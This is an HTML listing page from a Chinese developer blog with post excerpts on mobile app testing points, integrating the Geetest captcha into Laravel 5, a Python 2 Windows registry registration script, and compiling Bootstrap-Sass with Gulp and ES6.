                  <p>关注app的启动时间，页面加载时间，主要功能占用的CPU，内存，流量，与同类产品比较是否有优势。工具：DDMS</p>
                  <h3 id="1-2-联机调试测试"><a href="#1-2-联机调试测试" class="headerlink" title="1.2 联机调试测试"></a>1.2 联机调试测试</h3>
                  <p>连接真机进入调试模式，测试业务流；通过Logcat记录个操作，将所有错误定位代码。</p>
                  <h3 id="1-3-外网测试"><a href="#1-3-外网测试" class="headerlink" title="1.3 外网测试"></a>1.3 外网测试</h3>
                  <p>要覆盖到WIFI\2G\3G、net\wap 、电信\移动\联网,所有组合进行测试</p>
                  <h2 id="2、安装、卸载测试"><a href="#2、安装、卸载测试" class="headerlink" title="2、安装、卸载测试"></a>2、安装、卸载测试</h2>
                  <h3 id="2-1-安装卸载"><a href="#2-1-安装卸载" class="headerlink" title="2.1 安装卸载"></a>2.1 安装卸载</h3>
                  <p>app安装、卸载、启动、运行、清除缓存/数据运行看看是否正常</p>
                  <h3 id="2-2-平台支持"><a href="#2-2-平台支持" class="headerlink" title="2.2 平台支持"></a>2.2 平台支持</h3>
                  <p>是否支持豌豆荚、91等主流辅助工具，及是否和第三方软件兼容。</p>
                  <h2 id="3、在线升级测试"><a href="#3、在线升级测试" class="headerlink" title="3、在线升级测试"></a>3、在线升级测试</h2>
                  <h3 id="3-1-在线升级安装及使用测试"><a href="#3-1-在线升级安装及使用测试" class="headerlink" title="3.1 在线升级安装及使用测试"></a>3.1 在线升级安装及使用测试</h3>
                  <p>（1）验证数字签名； （2）升级后是否可以正常使用； （3）在线夸版本升级。</p>
                  <h2 id="4、业务功能测试"><a href="#4、业务功能测试" class="headerlink" title="4、业务功能测试"></a>4、业务功能测试</h2>
                  <h3 id="4-1-业务逻辑测试"><a href="#4-1-业务逻辑测试" class="headerlink" title="4.1 业务逻辑测试"></a>4.1 业务逻辑测试</h3>
                  <p>运行app时，是否可以接电话，发短信，锁屏，充电等功能</p>
                  <h3 id="4-2-功能点测试"><a href="#4-2-功能点测试" class="headerlink" title="4.2 功能点测试"></a>4.2 功能点测试</h3>
                  <p>检查功能点是否正常，是否满足需求文档</p>
                  <h3 id="4-3-关联性测试"><a href="#4-3-关联性测试" class="headerlink" title="4.3 关联性测试"></a>4.3 关联性测试</h3>
                  <p>安装app后，是否和pc机连接，交互正常</p>
                  <h2 id="5、稳定性及异常性测试"><a href="#5、稳定性及异常性测试" class="headerlink" title="5、稳定性及异常性测试"></a>5、稳定性及异常性测试</h2>
                  <h3 id="5-1-交互性测试"><a href="#5-1-交互性测试" class="headerlink" title="5.1 交互性测试"></a>5.1 交互性测试</h3>
                  <p>手机被多种打扰，例如，打开微信，聊QQ，听音乐等，app是否运行正常；待机，插拔数据线等操作</p>
                  <h3 id="5-2-异常性测试"><a href="#5-2-异常性测试" class="headerlink" title="5.2 异常性测试"></a>5.2 异常性测试</h3>
                  <p>断点、断网异常情况，是否稳定</p>
                  <h2 id="6、性能测试"><a href="#6、性能测试" class="headerlink" title="6、性能测试"></a>6、性能测试</h2>
                  <h3 id="6-1-基准性能测试"><a href="#6-1-基准性能测试" class="headerlink" title="6.1 基准性能测试"></a>6.1 基准性能测试</h3>
                  <p>主要是写脚本，是否可以进行压力测试；在不同网络的情况下，运行速度变化情况。</p>
                  <h3 id="6-2-大数据量测试"><a href="#6-2-大数据量测试" class="headerlink" title="6.2 大数据量测试"></a>6.2 大数据量测试</h3>
                  <p>保证手机更新大数据量程序成功率</p>
                  <h2 id="7、界面易用性测试"><a href="#7、界面易用性测试" class="headerlink" title="7、界面易用性测试"></a>7、界面易用性测试</h2>
                  <h3 id="7-1-界面与交互性测试"><a href="#7-1-界面与交互性测试" class="headerlink" title="7.1 界面与交互性测试"></a>7.1 界面与交互性测试</h3>
                  <p>符合<a href="http://www.apkbus.com/" target="_blank" rel="noopener">安卓</a>交互规范；用户体验良好；使用方便。快捷</p>
                  <h3 id="7-2-可用性测试"><a href="#7-2-可用性测试" class="headerlink" title="7.2 可用性测试"></a>7.2 可用性测试</h3>
                  <p>可用性强，操作简单；使用操作错误率低；完成任务使用时间短</p>
                  <h2 id="8、自动化测试"><a href="#8、自动化测试" class="headerlink" title="8、自动化测试"></a>8、自动化测试</h2>
                  <p>CTS工具，主要是基于Androidinstrumentation和JUnit测试原理推单元测试用例； Monkey用来对UI进行压力测试，伪随机的模拟用户的按键输入，触摸屏输入，手势输入等； ASE工具，是调用Android的功能，从而定制一些测试，比如打电话，发短信，浏览网页等； Robotium工具，提供了模仿用户操作行为的API，比如在某个控件上点击，输入Text等等； MonkeyRunner工具，是调用一个Python脚本去安装一个Android应用程序或测试包，运行它，向它发送模拟按键，截取界面图片等 QQ交流群：369353583</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/路由新定" class="author" itemprop="url" rel="index">路由新定</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-08-02 09:57:22" itemprop="dateCreated datePublished" datetime="2016-08-02T09:57:22+08:00">2016-08-02</time>
                </span>
                <span id="/3009.html" class="post-meta-item leancloud_visitors" data-flag-title="APP测试要点整理" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>986</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2988.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> PHP <i class="label-arrow"></i>
                  </a>
                  <a href="/2988.html" class="post-title-link" itemprop="url">极验验证码(Geetest) Laravel 5 集成开发包, 滑动二维码让验证更安全</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h2>
                  <p>在网站开发中使用频率最高的工具之一便是验证码，验证码在此也是多种多样，不过简单的图片验证码已经可以被机器识别，极验验证码提供了一个安全可靠的滑动验证码体系，让网站开发更加安全。 先感受一下这种验证码的魅力 <a href="http://www.geetest.com/exp_normal" target="_blank" rel="noopener">极验</a> 接入极验验证码的过程并没有想象中的那么简单，如果想在Laravel5中使用，可以使用Laravel5的极验验证码包 <a href="https://github.com/Germey/LaravelGeetest" target="_blank" rel="noopener">LaravelGeetest</a> 支持 Laravel 5.0 及以上版本。 地址： <a href="https://github.com/Germey/LaravelGeetest" target="_blank" rel="noopener">https://github.com/Germey/LaravelGeetest</a> 建议阅读原项目的README文件，最新的更新都会在README中说明，而且用法介绍是最全面的。 下面简单介绍一下该工具包的使用。</p>
                  <h2 id="注册极验账号"><a href="#注册极验账号" class="headerlink" title="注册极验账号"></a>注册极验账号</h2>
                  <p>首先需要到 <a href="http://www.geetest.com/" target="_blank" rel="noopener">极验</a> 网站注册账号，然后新建一个应用，获取到 ID 和 KEY，留作备用，后台管理页面如下。 <img src="https://ww1.sinaimg.cn/large/006tNbRwly1fcdsqp81loj31jw0oqmy1.jpg" alt=""></p>
                  <h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2>
                  <p>在项目地址输入命令</p>
                  <figure class="highlight elixir">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable">$ </span>composer <span class="keyword">require</span> germey/geetest</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就可以完成该包的安装 或者可以在 composer.json 的 require 中添加</p>
                  <figure class="highlight 1c">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">"germey/geetest"</span>: <span class="string">"~2.0"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后执行</p>
                  <figure class="highlight elixir">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable">$ </span>composer update</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>同样可以完成该包的安装。</p>
                  <h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2>
                  <p>注册 ServiceProvider，在 config/app.php 的 providers 中添加</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">Germey\Geetest\GeetestServiceProvider::<span class="class"><span class="keyword">class</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在 aliases 中添加</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">'Geetest'</span> =&gt; Germey\Geetest\Geetest::<span class="class"><span class="keyword">class</span></span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>然后执行</p>
                  <figure class="highlight elixir">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable">$ </span>php artisan <span class="symbol">vendor:</span>publish</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>会生成一个配置文件，config/geetest.php 和视图文件views/vendor/geetest，视图文件中你可以自定义配置，比如修改一下验证失败后的alert函数，修改为你想要的提示toast等。</p>
                  <h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2>
                  <p>首先把刚才拿到的 ID 和 KEY 配置到 .env 文件中，因为这两个算私密内容，配置到 .env 文件中可以保证安全性。在 .env 中写入如下两行。</p>
                  <figure class="highlight ini">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attr">GEETEST_ID</span>=<span class="number">0</span>f1097bef7xxxxxx9afdeced970c63e4</span><br><span class="line"><span class="attr">GEETEST_KEY</span>=c070f0628xxxxxxe68e138b55c56fb3b</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>其中 ID 和 KEY 换成你自己的。 然后，在任意的视图里，我们只需要调用</p>
                  <figure class="highlight erlang-repl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;!! Geetest::render() !!&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>就可以得到验证码了。 比如我们最常用的表单里</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;form action="/" <span class="keyword">method</span>="post"&gt;</span><br><span class="line">    &lt;<span class="keyword">input</span> <span class="type">name</span>="_token" <span class="keyword">type</span>="hidden" <span class="keyword">value</span>="&#123;&#123; csrf_token() &#125;&#125;"&gt;</span><br><span class="line">    &lt;<span class="keyword">input</span> <span class="keyword">type</span>="text" <span class="type">name</span>="name" placeholder="name"&gt;</span><br><span class="line">    &#123;!! Geetest::render() !!&#125;</span><br><span class="line">    &lt;<span class="keyword">input</span> <span class="keyword">type</span>="submit" <span class="keyword">value</span>="submit"&gt;</span><br><span class="line">&lt;/form&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>通过如上代码就可以完成验证码的生成了，样例如下： <img src="https://ww4.sinaimg.cn/large/006tNbRwly1fcdsbrinxaj30he05kjrd.jpg" alt=""> 另外还可以指定验证码的另外两种样式。</p>
                  <figure class="highlight erlang-repl">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&#123;!! Geetest::render(<span class="string">'embed'</span>) !!&#125;</span><br><span class="line">&#123;!! Geetest::render(<span class="string">'popup'</span>) !!&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>以上两个方法分别会生成嵌入式和弹出式验证码。如果没有参数，默认是浮动式。 关于这几种样式，可以参考 <a href="http://www.geetest.com/exp_normal" target="_blank" rel="noopener">官网</a> 这样，就能保证必须完成验证码操作才能提交表单。 好，至此，你就可以完成最基础的验证码配置了。</p>
                  <h2 id="服务端验证"><a href="#服务端验证" class="headerlink" title="服务端验证"></a>服务端验证</h2>
                  <p>如果你完成了上面的部分，那么恭喜你已经成功了一大半了，可以到此为止，不过如果想更加安全，请继续往下看。 在此是服务端二次验证，在上面讲的方法是客户端的验证，但是这并不能代表绝对安全，一些恶意用户依然可以通过操作JS完成表单的提交，所以服务端我们需要再次验证一下。 在表单提交的时候，如果你用了极验，那么就会额外提交三个字段，分别是 geetest_challenge, geetest_validate, geetest_seccode, 利用这三个字段，我们可以重新核对操作是否合法。 在这里这个包又做了封装，提供了一条验证规则。 所以验证时我们只需要利用验证规则即可。</p>
                  <figure class="highlight php">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">use</span> <span class="title">Illuminate</span>\<span class="title">Http</span>\<span class="title">Request</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">BaseController</span> <span class="keyword">extends</span> <span class="title">Controller</span> </span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@param</span> Request $request</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">postValidate</span><span class="params">(Request $request)</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">    $result = <span class="keyword">$this</span>-&gt;validate($request, [</span><br><span class="line">      <span class="string">'geetest_challenge'</span> =&gt; <span class="string">'geetest'</span>,</span><br><span class="line">    ], [</span><br><span class="line">      <span class="string">'geetest'</span> =&gt; config(<span class="string">'geetest.server_fail_alert'</span>)</span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">if</span> ($request) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="string">'success'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>利用 validate 方法，通过验证其中一个字段 geetest_challenge, 验证规则 geetest 就可以完成服务端的验证。这样就更保证了安全性。 在这里注意，由于多提交了几个字段，如果想执行 ORM 的批量插入修改操作时，记得在 Model 里面屏蔽这几个字段</p>
                  <figure class="highlight lasso">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">protected</span> $guarded = <span class="meta">[</span><span class="string">'geetest_challenge'</span>, <span class="string">'geetest_validate'</span>, <span class="string">'geetest_seccode'</span><span class="meta">]</span>;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>通过以上方法，就完成了服务端验证。 关于更多使用方法，可以参考 <a href="https://github.com/Germey/LaravelGeetest" target="_blank" rel="noopener">README</a></p>
                  <h2 id="语言设置"><a href="#语言设置" class="headerlink" title="语言设置"></a>语言设置</h2>
                  <p>验证码提供五种语言，简体中文，繁体中文，英文，日文，韩文。 可以通过 config/geetest.php 中设置 lang 字段。</p>
                  <ul>
                    <li>zh-cn (简体中文)</li>
                    <li>zh-tw (繁体中文)</li>
                    <li>en (英文)</li>
                    <li>ja (日文)</li>
                    <li>ko (韩文)</li>
                  </ul>
                  <h2 id="修改提示语"><a href="#修改提示语" class="headerlink" title="修改提示语"></a>修改提示语</h2>
                  <p>在这里有两个提示语，client_fail_alert 和 server_fail_alert ，分别是前端和后台（客户端和服务器）两边的提示语，可以通过设置 config/geetest.php 设置。</p>
                  <h2 id="关于作者"><a href="#关于作者" class="headerlink" title="关于作者"></a>关于作者</h2>
                  <p>静觅（崔庆才） 个人主页：<a href="http://cuiqingcai.com">http://cuiqingcai.com</a></p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-07-26 02:11:22" itemprop="dateCreated datePublished" datetime="2016-07-26T02:11:22+08:00">2016-07-26</time>
                </span>
                <span id="/2988.html" class="post-meta-item leancloud_visitors" data-flag-title="极验验证码(Geetest) Laravel 5 集成开发包, 滑动二维码让验证更安全" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>2.6k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>2 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2956.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2956.html" class="post-title-link" itemprop="url">python version 2. required,which was not found in the registry 解决方案</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p>不能在注册表中识别python2.7 新建一个register.py 文件</p>
                  <figure class="highlight reasonml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">import sys</span><br><span class="line"> </span><br><span class="line">from _winreg import *</span><br><span class="line"> </span><br><span class="line"># tweak <span class="keyword">as</span> necessary</span><br><span class="line">version = sys.version<span class="literal">[:<span class="number">3</span>]</span></span><br><span class="line">installpath = sys.prefix</span><br><span class="line"> </span><br><span class="line">regpath = <span class="string">"SOFTWARE\\Python\\Pythoncore\\%s\\"</span> % (version)</span><br><span class="line">installkey = <span class="string">"InstallPath"</span></span><br><span class="line">pythonkey = <span class="string">"PythonPath"</span></span><br><span class="line">pythonpath = <span class="string">"%s;%s\\Lib\\;%s\\DLLs\\"</span> % (</span><br><span class="line">    installpath, installpath, installpath</span><br><span class="line">)</span><br><span class="line"> </span><br><span class="line">def <span class="constructor">RegisterPy()</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        reg = <span class="constructor">OpenKey(HKEY_CURRENT_USER, <span class="params">regpath</span>)</span></span><br><span class="line">    except EnvironmentError <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            reg = <span class="constructor">CreateKey(HKEY_CURRENT_USER, <span class="params">regpath</span>)</span></span><br><span class="line">            <span class="constructor">SetValue(<span class="params">reg</span>, <span class="params">installkey</span>, REG_SZ, <span class="params">installpath</span>)</span></span><br><span class="line">            <span class="constructor">SetValue(<span class="params">reg</span>, <span class="params">pythonkey</span>, REG_SZ, <span class="params">pythonpath</span>)</span></span><br><span class="line">            <span class="constructor">CloseKey(<span class="params">reg</span>)</span></span><br><span class="line">        except:</span><br><span class="line">            print <span class="string">"*** Unable to register!"</span></span><br><span class="line">            return</span><br><span class="line">        print <span class="string">"--- Python"</span>, version, <span class="string">"is now registered!"</span></span><br><span class="line">        return</span><br><span class="line">    <span class="keyword">if</span> (<span class="constructor">QueryValue(<span class="params">reg</span>, <span class="params">installkey</span>)</span><span class="operator"> == </span>installpath <span class="keyword">and</span></span><br><span class="line">        <span class="constructor">QueryValue(<span class="params">reg</span>, <span class="params">pythonkey</span>)</span><span class="operator"> == </span>pythonpath):</span><br><span class="line">        <span class="constructor">CloseKey(<span class="params">reg</span>)</span></span><br><span class="line">        print <span class="string">"=== Python"</span>, version, <span class="string">"is already registered!"</span></span><br><span class="line">        return</span><br><span class="line">    <span class="constructor">CloseKey(<span class="params">reg</span>)</span></span><br><span class="line">    print <span class="string">"*** Unable to register!"</span></span><br><span class="line">    print <span class="string">"*** You probably have another Python installation!"</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__<span class="operator"> == </span><span class="string">"__main__"</span>:</span><br><span class="line">    <span class="constructor">RegisterPy()</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>用Python 运行register.py后就能识别python2.7了 代码来自：<a href="http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html" target="_blank" rel="noopener">http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html</a></p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/huxiao123" class="author" itemprop="url" rel="index">huxiao123</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-07-20 17:02:37" itemprop="dateCreated datePublished" datetime="2016-07-20T17:02:37+08:00">2016-07-20</time>
                </span>
                <span id="/2956.html" class="post-meta-item leancloud_visitors" data-flag-title="python version 2. required,which was not found in the registry 解决方案" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>1.1k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>1 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2906.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> JavaScript <i class="label-arrow"></i>
                  </a>
                  <a href="/2906.html" class="post-title-link" itemprop="url">基于ES6利用Gulp编译BootStrap-Sass源码</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="BootStrap"><a href="#BootStrap" class="headerlink" title="BootStrap"></a>BootStrap</h2>
                  <p>BootStrap 是一个前端CSS框架，它提供了一些便捷的组件方便我们快速构建前端页面，目前已经到了版本4，版本4是用 Sass 编写的，版本3是由 Less 编写的，后来增加了 Sass 版本。这说明了什么？BootStrap 已经向 Sass靠近了，个人感觉 Sass 比 Less 更为强大，具有更丰富的语法功能。 所以，Sass 将会成为比 Less 更为主流的语言。 目前常用的 BootStrap 版本是3，在官网也提供了相关 Sass 版本的下载。 在此提供官网下载链接和 Sass 项目 GitHub 地址。 <a href="http://v3.bootcss.com/getting-started/#download" target="_blank" rel="noopener">BootStrap</a> <a href="https://github.com/twbs/bootstrap-sass" target="_blank" rel="noopener">BootStrap-Sass</a> 在 BootStrap 的下载版本中，可以看到有三个。一个是编译好的 JS，CSS 文件，可以直接拿来用，方便快捷就可以下载这个来用。第二个是 Less 源码版本，你可以自己定义 Less 文件，在项目基础上继续用 Less 开发，编译成需要的 CSS 文件。第三个是后来新增的 Sass 版本，本节就以它为例来说明利用 Gulp 编译 BootStrap-Sass 的过程，目的一在于熟悉 Gulp 自动化编译 Sass 的流程，目的二在于了解前端自动化的工作原理。</p>
                  <h2 id="Gulp"><a href="#Gulp" class="headerlink" title="Gulp"></a>Gulp</h2>
                  <p>说完 BootStrap，我们再说下 Gulp，基于 Node.js。它干嘛的呢？就是一个前端自动化工具，什么用处？比如它可以编译 Less，Sass 生成到指定目录文件为 CSS，生成对应 map 文件，可以生成 JavaScript 的 map 文件，自动更新 html 中的 JS，CSS 引用路径，合并多个 JS，CSS 文件为统一整体，最小化压缩 JS，CSS 文件等等，最终目的呢？自动化替代重复劳动，提高效率。 说到 Gulp，就不得不提到它的竞争对手 Grunt，它具有和 Gulp 几乎一样的功能，然而 Grunt 有几个缺点，比如插件职责不明确，产生大量临时文件，语法繁琐等等。相比之下，Gulp插件职责明确，基于流式，不会产生临时文件，语法简单。冲着这几点，果断选择 Gulp。 利用 Gulp，我们就可以在项目中定义一个 gulpfile.babel.js 里面写入需要执行的任务，命令行执行 gulp 命令就可以完成自动化，一些重复的无聊的工作就不要你来做了。 <a href="http://www.gulpjs.com.cn/" target="_blank" rel="noopener">Gulp中文网</a></p>
                  <h2 id="ES6"><a href="#ES6" class="headerlink" title="ES6"></a>ES6</h2>
                  <p>说完 Gulp，然后就属 ES6 了，它是 ECMAScript 6 的简称，是 JavaScript 的一个新的版本类型，由于是 2015年发布的，所以也可以叫它 ES2015。我们之前编的 JavaScript 大多数是基于ES5或之前的版本，在 ES6 的基础上增加了许多新的语法特性，比如 Class，let，const 等等。 在 ES5 中，Gulp 的执行文件叫做 gulpfile.js，到了 ES6中，它就叫做 gulpfile.babel.js 了，多了一个 badel，那 babel 又是什么？ 关于 ES6 的新特性预览可以看 <a href="http://es6.ruanyifeng.com/" target="_blank" rel="noopener">ES6</a></p>
                  <h2 id="Babel"><a href="#Babel" class="headerlink" title="Babel"></a>Babel</h2>
